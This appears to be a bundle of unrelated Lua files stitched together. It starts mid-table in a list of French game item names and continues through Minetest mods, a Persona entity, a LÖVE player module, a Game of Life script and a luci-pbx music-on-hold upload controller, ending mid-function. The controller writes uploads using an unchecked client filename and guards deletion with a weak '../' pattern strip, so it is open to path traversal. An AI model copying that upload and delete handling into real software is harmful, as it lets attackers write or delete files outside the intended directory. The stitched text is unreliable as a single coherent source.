garde de sang en tisse-effroi",[22867]="Cestes de garde de sang en mailles",[22868]="Gantelets de garde de sang en plaques",[22869]="Protège-mains de garde de sang en satin",[22870]="Protège-mains de garde de sang en soie",[22872]="Armure de légionnaire en plaques",[22873]="Jambières de légionnaire en plaques",[22874]="Haubert de légionnaire en anneaux",[22875]="Garde-jambes de légionnaire en anneaux",[22876]="Haubert de légionnaire en mailles",[22877]="Plastron de légionnaire en peau de dragon",[22878]="Jambières de légionnaire en peau de dragon",[22879]="Plastron de légionnaire en cuir",[22880]="Garde-jambes de légionnaire en cuir",[22881]="Garde-jambes de légionnaire en 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oubliés",[22948]="Un document taché",[22949]="Cristal nécrotique fêlé",[22950]="Cristal nécrotique voilé",[22954]="Baiser de l\'araignée",[22960]="Cape de suture",[22961]="Bague de réanimation",[22967]="Spallières glacécaille",[22968]="Mantelet glaciaire",[22970]="Une enveloppe tachée de sang",[22972]="Une note détériorée",[22973]="Une missive froissée",[22974]="Une page abîmée",[22975]="Un document taché",[22977]="Une lettre déchirée",[22981]="Torque perdu de Gluth",[22983]="Mantelet couvert de gel",[22988]="La fin des rêves",[22994]="Main de pouvoir digérée",[22999]="Tabard de l\'Aube d\'argent",[23000]="Thorax d\'abomination blindé",[23001]="Oeil de diminution",[23002]="Boîte à tortue",[23004]="Idole de longévité",[23005]="Totem de l\'eau courante",[23006]="Libram de lumière",[23007]="Collier de porcelet",[23008]="Rapport de recherches scellé",[23009]="Baguette de la mort murmurante",[23010]="Rapport de recherches scellé",[23011]="Rapport de recherches scellé",[23012]="Rapport de recherches scellé",[23013]="Rapport de recherches scellé",[23014]="Iblis, lame du Séraphin déchu",[23015]="Cage à rat",[23016]="Rapport de recherches scellé",[23017]="Voile de l\'éclipse",[23018]="Chevalière du défenseur déchu",[23019]="Heaume plaie-de-glace",[23020]="Casque polaire",[23021]="Manchettes du moissonneur d\'âmes",[23022]="Récompense du bougon",[23023]="Torque de sadique",[23024]="Ordre de mission préparé",[23025]="Sceau des damnés",[23027]="Cordialité du pardon",[23028]="Bague du grêlon",[23029]="Cœur frigide de Noth",[23030]="Cape du Fléau",[23031]="Bague de l\'inévitable",[23032]="Coiffure glaciaire",[23033]="Camail glacécaille",[23035]="Chapeau de précepteur",[23036]="Collier de nécropsie",[23037]="Anneau de ferveur spirituelle",[23038]="Bague des forces contre nature",[23039]="L\'Oeil de Nérub",[23040]="Glyphe de déviation",[23041]="Blason de tueur",[23042]="Reflet d\'Horreb",[23043]="Le Visage de la mort",[23044]="Messager funeste",[23045]="Voile d\'assujettissement",[23046]="L\'essence contenue de Saphiron",[23047]="Oeil du mort",[23048]="Oeil droit de Saphiron",[23049]="Oeil gauche de Saphiron",[23050]="Cape de la nécropole",[23051]="Glaive du défenseur",[23053]="Talisman bouillonnant de Hurlorage",[23054]="Gressil, Aube de la ruine",[23055]="Mot de dégel",[23056]="Marteau du Néant distordu",[23057]="Gemme des innocents enchaînés",[23059]="Anneau du cuirassier",[23060]="Anneau de la faucheuse d\'os",[23061]="Anneau de foi",[23062]="Anneau de givrefeu",[23063]="Anneau de pestecœur",[23064]="Anneau de marcherêve",[23065]="Anneau de Brise-terre",[23066]="Anneau de rédemption",[23067]="Anneau de traqueur des cryptes",[23068]="Cuissards de carnage",[23069]="Atours de nécrochevalier",[23070]="Jambières de polarité",[23071]="Jambières de l\'Apocalypse",[23073]="Bottes de déplacement",[23075]="Pacte de la mort",[23078]="Gantelets de tueur de mort-vivant",[23081]="Protège-mains de tueur de mort-vivant",[23082]="Garde-mains de tueur de mort-vivant",[23083]="Flamme captive",[23084]="Gants de purification des morts-vivants",[23085]="Robe de purification des morts-vivants",[23087]="Cuirasse de tueur de mort-vivant",[23088]="Corselet de tueur de mort-vivant",[23089]="Tunique de tueur de mort-vivant",[23090]="Brassards de tueur de mort-vivant",[23091]="Brassards de purification des morts-vivants",[23092]="Garde-poignets de tueur de mort-vivant",[23093]="Bandelettes de tueur de mort-vivant",[23122]="Pierre à aiguiser consacrée",[23123]="Huile de sorcier bénie",[23124]="Bâton de Balzaphon",[23125]="Chaînes de la liche",[23126]="Baudrier de Balzaphon",[23127]="Cape de Revanchion",[23128]="L\'Emprise de l\'ombre",[23129]="Brassards de guérison",[23132]="Lame du seigneur Noirbois",[23139]="Targe du seigneur Noirbois",[23156]="Fémur de Noirbois",[23160]="Pain de l\'amitié",[23161]="Citronnade fraîchement pressée",[23168]="Dague focale de Dédain",[23169]="Sautoir glacé de Dédain",[23170]="L\'Etreinte glaciale",[23171]="Hache sectionneuse",[23173]="Jambières en peau d\'abomination",[23177]="Doigt de dame Falther\'ess",[23178]="Mantelet de dame Falther\'ess",[23179]="Flamme d\'Orgrimmar",[23180]="Flamme des Pitons-du-Tonnerre",[23181]="Flamme de Fossoyeuse",[23182]="Flamme de Hurlevent",[23183]="Flamme de Forgefer",[23184]="Flamme de Darnassus",[23192]="Tabard de la Croisade écarlate",[23194]="Marque de l\'Aube inférieure",[23195]="Marque de l\'Aube",[23196]="Marque de l\'Aube supérieure",[23197]="Idole de la lune",[23198]="Idole de brutalité",[23199]="Totem de l\'orage",[23200]="Totem de soutien",[23201]="Libram de divinité",[23203]="Libram de ferveur",[23206]="Marque de champion",[23207]="Marque de champion",[23211]="S\'morc grillé",[23219]="Ceinturon du mentor",[23220]="Robe de toile cristalline",[23221]="Servobras égaré",[23226]="Tunique en peau de goule",[23237]="Anneau de la flamme éternelle",[23238]="Targe stygienne",[23242]="Griffe du wyrm de givre",[23243]="Epaulières de champion en plaques",[23244]="Casque de champion en plaques",[23246]="Bière de fête flamboyante",[23247]="Fleur ardente",[23250]="Coquille prismatique",[23251]="Casque de champion en anneaux",[23252]="Epaulières de champion en anneaux",[23253]="Protège-front de champion en peau de dragon",[23254]="Epaulières de champion en peau de dragon",[23255]="Capuche de champion en tisse-effroi",[23256]="Spallières de champion en tisse-effroi",[23257]="Casque de champion en cuir",[23258]="Epaulières de champion en cuir",[23259]="Protège-front de champion en mailles",[23260]="Espauliers de champion en mailles",[23261]="Chaperon de champion en satin",[23262]="Mantelet de champion en satin",[23263]="Capuche de champion en soie",[23264]="Mantelet de champion en soie",[23272]="Cuirasse lamellaire de chevalier-capitaine",[23273]="Jambières lamellaires de chevalier-capitaine",[23274]="Gantelets lamellaires de chevalier-lieutenant",[23275]="Solerets lamellaires de chevalier-lieutenant",[23276]="Protège-front lamellaire de lieutenant-commandant",[23277]="Epaulières lamellaires de lieutenant-commandant",[23278]="Grèves de chevalier-lieutenant en anneaux",[23279]="Cestes de chevalier-lieutenant en anneaux",[23280]="Poignes de chevalier-lieutenant en peau de dragon",[23281]="Bottines de chevalier-lieutenant en peau de dragon",[23282]="Protège-mains de chevalier-lieutenant en tisse-effroi",[23283]="Brodequins de chevalier-lieutenant en tisse-effroi",[23284]="Poignes de chevalier-lieutenant en cuir",[23285]="Brodequins de chevalier-lieutenant en cuir",[23286]="Gantelets de chevalier-lieutenant en plaques",[23287]="Grèves de chevalier-lieutenant en plaques",[23288]="Protège-mains de chevalier-lieutenant en satin",[23289]="Brodequins de chevalier-lieutenant en satin",[23290]="Protège-mains de chevalier-lieutenant en soie",[23291]="Brodequins de chevalier-lieutenant en soie",[23292]="Haubert de chevalier-capitaine en anneaux",[23293]="Garde-jambes de chevalier-capitaine en anneaux",[23294]="Plastron de chevalier-capitaine en peau de dragon",[23295]="Jambières de chevalier-capitaine en peau de dragon",[23296]="Garde-jambes de chevalier-capitaine en tisse-effroi",[23297]="Tunique de chevalier-capitaine en tisse-effroi",[23298]="Plastron de chevalier-capitaine en cuir",[23299]="Garde-jambes de chevalier-capitaine en cuir",[23300]="Haubert de chevalier-capitaine en plaques",[23301]="Jambières de chevalier-capitaine en plaques",[23302]="Garde-jambes de chevalier-capitaine en satin",[23303]="Tunique de chevalier-capitaine en satin",[23304]="Garde-jambes de chevalier-capitaine en soie",[23305]="Tunique de chevalier-capitaine en soie",[23306]="Casque de lieutenant-commandant en anneaux",[23307]="Epaulières de lieutenant-commandant en anneaux",[23308]="Protège-front de lieutenant-commandant en peau de dragon",[23309]="Epaulières de lieutenant-commandant en peau de dragon",[23310]="Capuche de lieutenant-commandant en tisse-effroi",[23311]="Spallières de lieutenant-commandant en tisse-effroi",[23312]="Casque de lieutenant-commandant en cuir",[23313]="Epaulières de lieutenant-commandant en cuir",[23314]="Heaume de lieutenant-commandant en plaques",[23315]="Epaulières de lieutenant-commandant en plaques",[23316]="Chaperon de lieutenant-commandant en satin",[23317]="Mantelet de lieutenant-commandant en satin",[23318]="Capuche de lieutenant-commandant en soie",[23319]="Mantelet de lieutenant-commandant en soie",[23320]="Tablette de Horion de flammes",[23323]="Couronne de la fête du Feu",[23324]="Mantelet de la fête du Feu",[23326]="Saucisse du solstice d\'été",[23327]="Petit pain grillé",[23328]="Monster - Sword2H, Instructor Razuvious",[23356]="Monster - Shield, Skullflame",[23369]="Monster - Dagger, Claw of Chromaggus",[23379]="Brassards cendrés",[23435]="Tarte au sureau",[23451]="Magelame de connétable",[23452]="Tome de puissance de connétable",[23453]="Tome de restauration de connétable",[23454]="Marteau de guerre de connétable",[23455]="Démolisseur de connétable",[23456]="Vivelame de connétable",[23464]="Masse d\'armes de grand seigneur de guerre",[23465]="Destructeur de grand seigneur de guerre",[23466]="Sorcelame de grand seigneur de guerre",[23467]="Prestelame de seigneur de guerre",[23468]="Tome de destruction de grand seigneur de guerre",[23469]="Tome de guérison de grand seigneur de guerre",[23545]="Puissance du Fléau",[23547]="Résilience du Fléau",[23548]="Pouvoir du Fléau",[23549]="Robustesse du Fléau",[23557]="Larve du Grand ver",[23558]="La Carapace du fouisseur",[23570]="Jom Gabbar",[23577]="Le Froid dévorant",[23578]="Régime McWeaksauce",[23579]="Le McWeaksauce traditionnel",[23582]="Monster - Lady Blameux",[23583]="Monster - Sir Zeliek",[23663]="Ceinturon de fureur élémentaire",[23664]="Espauliers de fureur élémentaire",[23665]="Jambières de fureur élémentaire",[23666]="Ceinture du grand croisé",[23667]="Spallières du grand croisé",[23668]="Jambières du grand croisé",[23743]="Monster - Sword 1H - Widow\'s Remorse",[24101]="Livre de Morsure féroce V",[24102]="Manuel d\'Eviscération IX",[24222]="L\'Eustache d\'Ombrepas",[24231]="Tabac à priser grossier",[24232]="Nœud miteux",[24281]="Os sculpté en ivoire",[24282]="Journal d\'un voleur",[24283]="Un fusil antique",[24418]="Monster - Dagger Badass Naxx",[25818]="Monster - Shield, Legion",}
|
minetest.register_tool('more_fire:lighter', {
description = 'Lighter',
inventory_image = 'more_fire_lighter.png',
stack_max = 1,
tool_capabilities = {
full_punch_interval = 1.0,
max_drop_level = 0,
groupcaps = {
flammable = {uses = 200, maxlevel = 1},
}
},
on_use = function(itemstack, user, pointed_thing)
minetest.sound_play("spark", {gain = 1.0, max_hear_distance = 32, loop = false })
if pointed_thing.type == 'node' then
burn(pointed_thing)
itemstack:add_wear(65535/200)
return itemstack
end
end,
})
local USES = 20
minetest.register_tool('more_fire:marker', {
description = 'chard stick',
inventory_image = 'more_fire_chard_stick.png',
stack_max = 1,
on_use = function(itemstack, user, pointed_thing)
if pointed_thing.type == 'node' then
minetest.set_node(pointed_thing.above, {name = "more_fire:marking", param2=minetest.dir_to_facedir(user:get_look_dir())})
itemstack:add_wear(65535 / (USES - 1))
return itemstack
end
end,
})
|
local entity = {}
entity["level"] = [[74]]
entity["spellDeck"] = {}
entity["spellDeck"][1] = [[Mamudoon]]
entity["spellDeck"][2] = [[]]
entity["spellDeck"][3] = [[Ziodyne]]
entity["spellDeck"][4] = [[]]
entity["spellDeck"][5] = [[]]
entity["spellDeck"][6] = [[]]
entity["heritage"] = {}
entity["heritage"][1] = [[Dark]]
entity["heritage"][2] = [[]]
entity["resistance"] = {}
entity["resistance"][1] = [[Normal]]
entity["resistance"][2] = [[Normal]]
entity["resistance"][3] = [[Normal]]
entity["resistance"][4] = [[Weak]]
entity["resistance"][5] = [[Normal]]
entity["resistance"][6] = [[Repel]]
entity["resistance"][7] = [[Normal]]
entity["resistance"][8] = [[Normal]]
entity["resistance"][9] = [[Repel]]
entity["desc"] = [[The fiend known as the "Whore of Babylon," riding a beast with seven heads and ten horns, she carries a golden cup of abominations and the filth of her acts.]]
--a function: evolveName
entity["arcana"] = [[Empress]]
entity["stats"] = {}
entity["stats"][1] = [[48]]
entity["stats"][2] = [[55]]
entity["stats"][3] = [[50]]
entity["stats"][4] = [[43]]
entity["stats"][5] = [[51]]
entity["name"] = [[Mother Harlot]]
entity["spellLearn"] = {}
entity["spellLearn"]["Null Fire"] = [[80]]
entity["spellLearn"]["Mudo Boost"] = [[76]]
entity["spellLearn"]["Ailment Boost"] = [[78]]
entity["spellLearn"]["Sexy Dance"] = [[77]]
return entity
|
local _={}
_.name="Player"
_.new=function(options)
-- try to keep it flat
local name="player"
local player=BaseEntity.new(options)
player.x=0
player.y=0
player.hp=10
player.maxHp=10
player.energy=10
player.maxEnergy=10
player.xScale=1 -- todo: implement
player.editorVisible=false
player.isDrawable=true
-- todo: comment
player.worldId=nil
player.worldName="main"
player.riderX=7
player.riderY=11
player.originX=7
player.originY=7
player.footX=7
player.footY=15
-- name of controlling entity for this data
player.entity="Player"
-- player.isDrawable=true
local spriteName=name
local rnd=Lume.random()
if rnd > 0.5 then
spriteName="girl"
end
Entity.setSprite(player,spriteName)
--player.spriteName=name
player.inventory={}
-- 8 on-screen items/actions.
player.favorites={}
player.abilities={}
player.activeFavorite=nil
Entity.afterCreated(player,_,options)
-- todo: refactor
if CurrentWorld~=nil then
_.setWorld(CurrentWorld)
end
return player
end
_.draw=DrawableBehaviour.draw
--_.draw=function(player)
-- -- todo: opt
-- local sprite=Img[player.spriteName]
-- LG.draw(sprite,player.x,player.y)
-- -- animation proto
---- local animSprite1=Img.pantera_walk_1
---- local animSprite2=Img.pantera_walk_2
---- local time=Lume.round(Session.frame/60)
---- time=math.floor(time)
---- if (time % 2 == 0) then
---- log("frame1")
---- LG.draw(animSprite1,player.x,player.y)
---- else
---- log("frame2")
---- LG.draw(animSprite2,player.x,player.y)
---- end
--end
_.slowUpdate=function(player)
-- log("player slow update")
EnergyBehaviour.changeEnergy(player, -0.01)
end
_.giveStarterPack=function(player)
log("giveStarterPack")
local seed=Seed.new()
seed.type="mixed"
assert(player.favorites[1]==nil)
_.setFavorite(player,seed,1)
local slot2=BirchSapling.new()
_.setFavorite(player,slot2,2)
local slot3=Cauldron.new()
_.setFavorite(player,slot3,3)
local slot4=Bucket.new()
_.setFavorite(player,slot4,4)
local slot5=Boombox.new()
_.setFavorite(player,slot5,5)
end
_.setActiveFavorite=function(slot)
local player=CurrentPlayer
-- todo: remember slot number even if its empty (mc style)
player.activeFavorite=player.favorites[slot]
end
-- fav slots
_.removeItem=function(item)
local player=CurrentPlayer
for k,v in pairs(player.favorites) do
if v==item then player.favorites[k]=nil end
end
if player.activeFavorite==item then
player.activeFavorite=nil
end
end
-- set new item into fav slot
_.setFavorite=function(player,item,slot)
if player.favorites[slot] then log("error: not implemented") end
player.favorites[slot]=item
if not player.activeFavorite then
player.activeFavorite=item
end
-- ожидается что вещи в инвентаре обязательно неактивны (как сущность)
Entity.setActive(item,false)
end
_.addFavorite=function(player,item)
local favs=player.favorites
local slot=1
while true do
local fav=favs[slot]
if not fav then break end
slot=slot+1
end
_.setFavorite(player,item,slot)
end
_.canPickup=function(player,entity)
-- todo: available space, other checks
return entity.worldId~=nil
end
-- each player saves self (like in diablo 2)
_.save=function()
local player=CurrentPlayer
local str=serialize(player)
love.filesystem.write(Const.playerSaveFile, str)
log("player saved")
end
_.load=function()
local saveFile=Const.playerSaveFile
local fs=love.filesystem
local info=fs.getInfo(saveFile)
if info==nil then return false end
local packed=fs.read(saveFile)
CurrentPlayer=deserialize(packed)
Entity.register(CurrentPlayer)
assert(CurrentPlayer)
return true
end
_.setWorld=function(world)
local player=CurrentPlayer
player.worldId=world.id
Entity.updateCollision(player)
end
-- todo: toggle
local initAnimation=function()
local danceFrames=
{
Img.get("player1_dance1"),
Img.get("player1_dance2"),
Img.get("player1_dance3"),
Img.get("player1_dance4"),
}
Anim.add(_.name, "dance", danceFrames)
local walkFrames=
{
Img.get("player_move1"),
Img.get("player_move2"),
}
Anim.add(_.name, "move", danceFrames)
end
initAnimation()
_.startDance=function()
-- todo: networking
local danceFrames=Anim.get(_.name, "dance")
Anim.start(CurrentPlayer, danceFrames)
end
_.getByLogin=function(login)
local allPlayers=Entity.getByName(_.name)
for k,player in ipairs(allPlayers) do
if player.login==login then
return player
end
end
return nil
end
return _
|
--[[
Copyright 2011 Iordan Iordanov <iiordanov (AT) gmail.com>
This file is part of luci-pbx.
luci-pbx is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
luci-pbx is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with luci-pbx. If not, see <http://www.gnu.org/licenses/>.
Modified to luci-app-voice-client
]]--
module("luci.controller.voice.moh", package.seeall)
function index()
local users = { "admin", "support", "user" }
for k, user in pairs(users) do
if user == "admin" then
entry({user, "services", "voice", "moh"}, call("action_moh"), "MOH", 26)
end
end
end
function action_moh()
local sys = require "luci.sys"
local fs = require "luci.fs"
local nixio = require "nixio"
local upload_tmp = "/tmp/sound.moh"
local dest = "/usr/lib/asterisk/moh"
local filename
local fp
luci.http.setfilehandler(
function(meta, chunk, eof)
if not fp then
if meta and meta.name == "sound" then
filename = meta.file
fp = io.open(upload_tmp, "w")
end
end
if chunk then
fp:write(chunk)
end
if eof then
fp:close()
end
end
)
function reload_moh()
sys.exec("touch /etc/asterisk/musiconhold.conf")
sys.exec("asterisk -rx 'moh reload'")
end
if luci.http.formvalue("upload") then
local upload = luci.http.formvalue("sound")
if upload and #upload > 0 then
-- Create destination dir if it doesn't already exist
stat = nixio.fs.stat(dest, "type")
if not stat then
nixio.fs.mkdir(dest)
end
-- Move upload
nixio.fs.move(upload_tmp, dest .. "/" .. filename)
-- Reload asterisk musiconhold module
reload_moh()
end
end
if luci.http.formvalue("remove") and luci.http.formvalue("file") then
file = luci.http.formvalue("file")
-- Check that user is not trying to delete a file outside of the moh directory
if file == file:gsub("../", "") then
nixio.fs.unlink(dest .. "/" .. file)
reload_moh()
end
end
-- Read list of files
local sound_files = {}
stat = nixio.fs.stat(dest, "type")
if stat then
for e in nixio.fs.dir(dest) do
table.insert(sound_files, e)
end
end
luci.template.render("voice/moh", {
sounds = {},
sound_files = sound_files
})
end
|
biker = {}
biker.signs = minetest.get_modpath"signs"
if not minetest.global_exists"generate_texture" then biker.signs = false end
local settings = {
-- Turning speed of bike, 1 is instant
turn_power = 0.07,
-- Top speed the bike can go
max_speed = 17,
-- Top speed in reverse
max_reverse = 5,
acceleration = 1.5,
-- Braking power
braking = 5,
stepheight = 1.3,
-- Whether the bike is breakable
breakable = true,
-- Same as max_speed but on nodes like dirt, sand, gravel ect
crumbly_spd = 11,
-- Ability to punch the motorbike to kick the rider
kick = true,
-- Enable custom plates, requires "signs" mod
custom_plates = true,
-- Bike is be placed directly in inventory when punched
punch_inv = true,
}
for setting, default in pairs(settings) do
local settype = type(default)
local value
if settype == "boolean" then
value = minetest.settings:get_bool("motorbike." .. setting, default)
elseif settype == "number" then
value = tonumber(minetest.settings:get("motorbike." .. setting)) or default
else
value = minetest.setting:get("motorbike." .. setting)
end
assert(type(value) == settype)
biker[setting] = value
end
-- global settings
-- "owner" attribute is set when bike is placed
settings.ownable = minetest.settings:get_bool("mount_ownable", true)
biker.path = minetest.get_modpath"motorbike"
dofile(biker.path .. "/functions.lua")
local bikelist = {
"black",
"blue",
"brown",
"cyan",
"dark_green",
"dark_grey",
"green",
"grey",
"magenta",
"orange",
"pink",
"red",
"violet",
"white",
"yellow"
}
for _, colour in pairs(bikelist) do
local texture = "motorbike_" .. colour .. ".png"
minetest.register_entity("motorbike:bike_" .. colour, {
visual = "mesh",
mesh = "motorbike_body.b3d",
textures = { texture, texture, texture, texture },
stepheight = biker.stepheight,
physical = true,
collisionbox = {
0.5,
0.5,
0.5,
-0.5,
-0.83,
-0.5
},
drop = "motorbike:" .. colour,
on_activate = function(self, staticdata)
if staticdata then
local sdata = minetest.deserialize(staticdata)
self.owner = sdata.owner
if biker.signs then
self.platenumber = sdata.platenumber
local pos = self.object:get_pos()
self.plate = minetest.add_entity(pos, "motorbike:licenseplate")
if self.plate then
self.plate:set_attach(self.object, "", { x = -0.2, y = -1.9, z = -12.12 }, { x = 0, y = 0, z = 0 })
end
end
end
self.timer1 = 0
self.timer2 = 0
self.object:set_armor_groups{ immortal = 1 }
biker.wheelspeed(self)
end,
on_rightclick = function(self, clicker)
if not self.driver then
local pname = clicker:get_player_name()
if settings.ownable and self.owner and self.owner ~= pname then
minetest.chat_send_player(pname, "You cannot ride " .. self.owner .. "'s motorbike")
return
end
biker.attach(self, clicker, false)
minetest.sound_play("motorbike_start", {
max_hear_distance = 24,
gain = 1,
object = self.object,
})
return
end
if self.driver and self.driver:get_player_name() == clicker:get_player_name() then
biker.detach(clicker)
end
end,
on_punch = function(self, puncher, time_from_last_punch, tool_capabilities, _dir)
if not puncher:is_player() then
return
end
if not self.driver then
local pname = puncher:get_player_name()
if settings.ownable and self.owner and self.owner ~= pname then
minetest.chat_send_player(pname, "You cannot take " .. self.owner .. "'s motorbike")
return
end
if biker.breakable then
if not biker.punch_inv then
local pos = self.object:get_pos()
local item = minetest.add_item(pos, self.drop)
if item then
self.object:remove()
if self.plate then self.plate:remove() end
end
else
local stack = ItemStack(self.drop)
local pinv = puncher:get_inventory()
if not pinv:room_for_item("main", stack) then
core.chat_send_player(pname, "You do not have room in your inventory")
return
end
pinv:add_item("main", stack)
self.object:remove()
if self.plate then self.plate:remove() end
end
end
return
end
if biker.kick and puncher:get_player_name() ~= self.driver:get_player_name() and puncher:get_wielded_item():get_name() == "" and time_from_last_punch >= tool_capabilities.full_punch_interval and math.random(1, 2) == 1 then
biker.detach(self.driver)
end
end,
on_step = biker.drive,
get_staticdata = function(self)
local sdata = {
owner = self.owner,
platenumber = self.platenumber,
}
return minetest.serialize(sdata)
end
})
minetest.register_craftitem("motorbike:" .. colour, {
description = colour:gsub("^%l", string.upper):gsub("_", " ") .. " bike",
inventory_image = "motorbike_" .. colour .. "_inv.png",
on_place = function(itemstack, placer, pointed_thing)
if pointed_thing.type ~= "node" then return end
local pos = { x = pointed_thing.above.x, y = pointed_thing.above.y + 1, z = pointed_thing.above.z }
local pname = placer:get_player_name()
local sdata = {owner=pname, platenumber=biker.get_plate(pname)}
local bike = minetest.add_entity(pos, "motorbike:bike_" .. colour, minetest.serialize(sdata))
bike:set_yaw(placer:get_look_horizontal())
itemstack:take_item()
return itemstack
end
})
minetest.register_craft{
output = "motorbike:" .. colour,
recipe = {
{ "", "", "default:stick" },
{ "default:steel_ingot", "default:mese_crystal", "default:steel_ingot" },
{ "motorbike:wheel", "wool:" .. colour, "motorbike:wheel" }
}
}
end
minetest.register_craftitem("motorbike:wheel", { description = "Motorbike Wheel", inventory_image = "motorbike_wheel_inv.png" })
minetest.register_craft{
output = "motorbike:wheel",
recipe = {
{ "default:obsidian_shard", "default:obsidian_shard", "default:obsidian_shard" },
{ "default:obsidian_shard", "default:steel_ingot", "default:obsidian_shard" },
{ "default:obsidian_shard", "default:obsidian_shard", "default:obsidian_shard" }
}
}
if biker.signs then
minetest.register_entity("motorbike:licenseplate", {
collisionbox = {
0,
0,
0,
0,
0,
0
},
visual = "upright_sprite",
textures = { "blank.png" },
visual_size = { x = 0.7, y = 0.7, z = 0.7 },
physical = false,
pointable = false,
collide_with_objects = false,
on_activate = function(self)
-- HACK
minetest.after(0.2, function()
if not self.object:get_attach() then self.object:remove()
else
self.object:set_armor_groups{ immortal = 1 }
local text = self.object:get_attach():get_luaentity().platenumber
if not text then return end
self.object:set_properties{ textures = { generate_texture(create_lines(text)) } }
end
end)
end
})
end
|
-- life.lua
-- original by Dave Bollinger <DBollinger@compuserve.com> posted to lua-l
-- modified to use ANSI terminal escape sequences
-- modified to use for instead of while
local write=io.write
ALIVE="¥" DEAD="þ"
ALIVE="O" DEAD="-"
function delay() -- NOTE: SYSTEM-DEPENDENT, adjust as necessary
for i=1,10000 do end
-- local i=os.clock()+1 while(os.clock()<i) do end
end
function ARRAY2D(w,h)
local t = {w=w,h=h}
for y=1,h do
t[y] = {}
for x=1,w do
t[y][x]=0
end
end
return t
end
_CELLS = {}
-- give birth to a "shape" within the cell array
function _CELLS:spawn(shape,left,top)
for y=0,shape.h-1 do
for x=0,shape.w-1 do
self[top+y][left+x] = shape[y*shape.w+x+1]
end
end
end
-- run the CA and produce the next generation
function _CELLS:evolve(next)
local ym1,y,yp1,yi=self.h-1,self.h,1,self.h
while yi > 0 do
local xm1,x,xp1,xi=self.w-1,self.w,1,self.w
while xi > 0 do
local sum = self[ym1][xm1] + self[ym1][x] + self[ym1][xp1] +
self[y][xm1] + self[y][xp1] +
self[yp1][xm1] + self[yp1][x] + self[yp1][xp1]
next[y][x] = ((sum==2) and self[y][x]) or ((sum==3) and 1) or 0
xm1,x,xp1,xi = x,xp1,xp1+1,xi-1
end
ym1,y,yp1,yi = y,yp1,yp1+1,yi-1
end
end
-- output the array to screen
function _CELLS:draw()
local out="" -- accumulate to reduce flicker
for y=1,self.h do
for x=1,self.w do
out=out..(((self[y][x]>0) and ALIVE) or DEAD)
end
out=out.."\n"
end
write(out)
end
-- constructor
function CELLS(w,h)
local c = ARRAY2D(w,h)
c.spawn = _CELLS.spawn
c.evolve = _CELLS.evolve
c.draw = _CELLS.draw
return c
end
--
-- shapes suitable for use with spawn() above
--
HEART = { 1,0,1,1,0,1,1,1,1; w=3,h=3 }
GLIDER = { 0,0,1,1,0,1,0,1,1; w=3,h=3 }
EXPLODE = { 0,1,0,1,1,1,1,0,1,0,1,0; w=3,h=4 }
FISH = { 0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0,1,0; w=5,h=4 }
BUTTERFLY = { 1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,1; w=5,h=5 }
-- the main routine
function LIFE(w,h)
-- create two arrays
local thisgen = CELLS(w,h)
local nextgen = CELLS(w,h)
-- create some life
-- about 1000 generations of fun, then a glider steady-state
thisgen:spawn(GLIDER,5,4)
thisgen:spawn(EXPLODE,25,10)
thisgen:spawn(FISH,4,12)
-- run until break
local gen=1
write("\027[2J") -- ANSI clear screen
while 1 do
thisgen:evolve(nextgen)
thisgen,nextgen = nextgen,thisgen
write("\027[H") -- ANSI home cursor
thisgen:draw()
write("Life - generation ",gen,"\n")
gen=gen+1
if gen>2000 then break end
--delay() -- no delay
end
end
LIFE(40,20)
|
---------------------------------------------------------------------------------------
-- simple anvil that can be used to repair tools
---------------------------------------------------------------------------------------
-- * can be used to repair tools
-- * the hammer gets dammaged a bit at each repair step
---------------------------------------------------------------------------------------
-- License of the hammer picture: CC-by-SA; done by GloopMaster; source:
-- https://github.com/GloopMaster/glooptest/blob/master/glooptest/textures/glooptest_tool_steelhammer.png
local S = cottages.S
-- the hammer for the anvil
minetest.register_tool("cottages:hammer", {
description = S("Steel hammer for repairing tools on the anvil"),
image = "glooptest_tool_steelhammer.png",
inventory_image = "glooptest_tool_steelhammer.png",
tool_capabilities = {
full_punch_interval = 0.8,
max_drop_level=1,
groupcaps={
-- about equal to a stone pick (it's not intended as a tool)
cracky={times={[2]=2.00, [3]=1.20}, uses=30, maxlevel=1},
},
damage_groups = {fleshy=6},
}
})
local cottages_anvil_formspec =
"size[8,8]"..
"image[7,3;1,1;glooptest_tool_steelhammer.png]"..
-- "list[current_name;sample;0,0.5;1,1;]"..
"list[current_name;input;2.5,1.5;1,1;]"..
-- "list[current_name;material;5,0;3,3;]"..
"list[current_name;hammer;5,3;1,1;]"..
-- "label[0.0,0.0;Sample:]"..
-- "label[0.0,1.0;(Receipe)]"..
"label[2.5,1.0;"..S("Workpiece:").."]"..
-- "label[6.0,-0.5;Materials:]"..
"label[6.0,2.7;"..S("Optional").."]"..
"label[6.0,3.0;"..S("storage for").."]"..
"label[6.0,3.3;"..S("your hammer").."]"..
"label[0,-0.5;"..S("Anvil").."]"..
"label[0,3.0;"..S("Punch anvil with hammer to").."]"..
"label[0,3.3;"..S("repair tool in workpiece-slot.").."]"..
"list[current_player;main;0,4;8,4;]";
minetest.register_node("cottages:anvil", {
drawtype = "nodebox",
description = S("anvil"),
tiles = {"cottages_stone.png"}, -- TODO default_steel_block.png, default_obsidian.png are also nice
paramtype = "light",
paramtype2 = "facedir",
groups = {cracky=2},
-- the nodebox model comes from realtest
node_box = {
type = "fixed",
fixed = {
{-0.5,-0.5,-0.3,0.5,-0.4,0.3},
{-0.35,-0.4,-0.25,0.35,-0.3,0.25},
{-0.3,-0.3,-0.15,0.3,-0.1,0.15},
{-0.35,-0.1,-0.2,0.35,0.1,0.2},
},
},
selection_box = {
type = "fixed",
fixed = {
{-0.5,-0.5,-0.3,0.5,-0.4,0.3},
{-0.35,-0.4,-0.25,0.35,-0.3,0.25},
{-0.3,-0.3,-0.15,0.3,-0.1,0.15},
{-0.35,-0.1,-0.2,0.35,0.1,0.2},
}
},
on_construct = function(pos)
local meta = minetest.get_meta(pos);
meta:set_string("infotext", S("Anvil"));
local inv = meta:get_inventory();
inv:set_size("input", 1);
-- inv:set_size("material", 9);
-- inv:set_size("sample", 1);
inv:set_size("hammer", 1);
meta:set_string("formspec", cottages_anvil_formspec );
end,
after_place_node = function(pos, placer)
